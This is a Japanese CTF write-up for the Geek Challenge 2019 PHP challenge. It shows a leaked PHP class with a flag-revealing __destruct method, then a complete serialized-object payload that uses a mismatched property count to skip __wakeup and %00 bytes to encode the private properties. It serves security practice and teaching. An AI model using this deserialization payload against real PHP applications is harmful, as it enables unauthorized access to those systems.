極客大挑戦2019 PHP

1851 ワード

0x00
問題型:ソースコードの漏洩、phpの逆シーケンス化、wakeupメソッドの迂回.
0x01
ヒントサイトにバックアップがあり、urlの後ろにwww.zipをつなぎ、ソースコードにダウンロードします.主なコードは次のとおりです.


username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "NO!!!hacker!!!";
            echo "You name is: ";
            echo $this->username;echo "";
            echo "You password is: ";
            echo $this->password;echo "";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "hello my friend~~sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

簡単明瞭で、転送されたselectをphp逆シーケンス化し、username==='admin'&&password=100でflagを手に入れることができます.
0x02
payload:
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

tip1:
なぜ%00を加えるのですか?
phpがprivate属性の変数をシーケンス化すると、クラス名の前後に空の文字、すなわち0 x 00が生成され、スペースのように見えますが、実際にはスペースではありません.クリップボードにコピーすると切断されることがわかりますので、%00を加えてphpを正常に解析できます.
tip2:
Nameクラスには2つの属性しかありませんが、なぜ3と書くのですか?
迂回するためにwakeup()このマジックメソッド、逆シーケンス化時_wakeup()は自動的に呼び出され、このクラスではwakeup()が私たちが入力したパラメータを変更するので、迂回する必要があります.逆シーケンス化の場合,属性個数が実際の数と一致しない場合,この方法は呼び出されない.